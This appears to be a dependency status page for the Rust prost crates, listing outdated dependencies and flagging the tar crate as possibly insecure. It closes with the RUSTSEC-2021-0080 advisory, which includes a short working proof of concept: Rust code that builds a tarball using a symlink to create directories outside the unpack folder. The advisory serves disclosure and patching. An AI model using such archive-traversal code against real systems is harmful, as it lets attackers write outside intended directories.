This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate prost

Dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 bytes^11.5.0up to date

Dev dependencies

(5 total, 2 outdated)

CrateRequiredLatestStatus
 criterion^0.40.5.1out of date
 env_logger^0.100.11.2out of date
 log^0.40.4.20up to date
 proptest^11.4.0up to date
 rand^0.80.8.5up to date

Crate prost-derive

Dependencies

(5 total, 1 outdated)

CrateRequiredLatestStatus
 anyhow^1.0.11.0.80up to date
 itertools>=0.10, <0.120.12.1out of date
 proc-macro2^11.0.78up to date
 quote^11.0.35up to date
 syn^22.0.51up to date

Crate conformance

Dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 bytes^11.5.0up to date
 env_logger^0.100.11.2out of date

Crate prost-build

Dependencies

(14 total, 5 outdated)

CrateRequiredLatestStatus
 bytes^11.5.0up to date
 heck^0.40.4.1up to date
 itertools>=0.10, <0.120.12.1out of date
 log^0.4.40.4.20up to date
 multimap^0.80.10.0out of date
 petgraph^0.60.6.4up to date
 tempfile^33.10.1up to date
 once_cell^1.17.11.19.0up to date
 regex^1.8.11.10.3up to date
 which^46.0.0out of date
 prettyplease^0.20.2.16up to date
 syn^22.0.51up to date
 pulldown-cmark^0.9.10.10.0out of date
 pulldown-cmark-to-cmark^10.0.111.2.0out of date

Dev dependencies

(1 total, 1 outdated)

CrateRequiredLatestStatus
 env_logger^0.100.11.2out of date

Crate prost-types

Dev dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 proptest^11.4.0up to date

Crate protobuf

Dev dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 criterion^0.40.5.1out of date
 cfg-if^11.0.0up to date

Build dependencies

(6 total, 1 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 anyhow^1.0.11.0.80up to date
 curl^0.4.130.4.46up to date
 flate2^1.0.31.0.28up to date
 tar ⚠️^0.4.150.4.40maybe insecure
 tempfile^33.10.1up to date
 libz-sys^1.1, <1.1.71.1.15out of date

Crate tests

Dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^1.0.11.0.80up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.13up to date
 tempfile^33.10.1up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.100.11.2out of date

Crate tests-2015

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^1.0.11.0.80up to date
 bytes^11.5.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.13up to date
 tempfile^33.10.1up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.100.11.2out of date

Crate tests-no-std

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^1.0.451.0.80up to date
 bytes^11.5.0up to date
 cfg-if^11.0.0up to date

Dev dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 diff^0.10.1.13up to date
 tempfile^33.10.1up to date

Build dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 cfg-if^11.0.0up to date
 env_logger^0.100.11.2out of date

Crate single_include

No external dependencies! 🙌

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!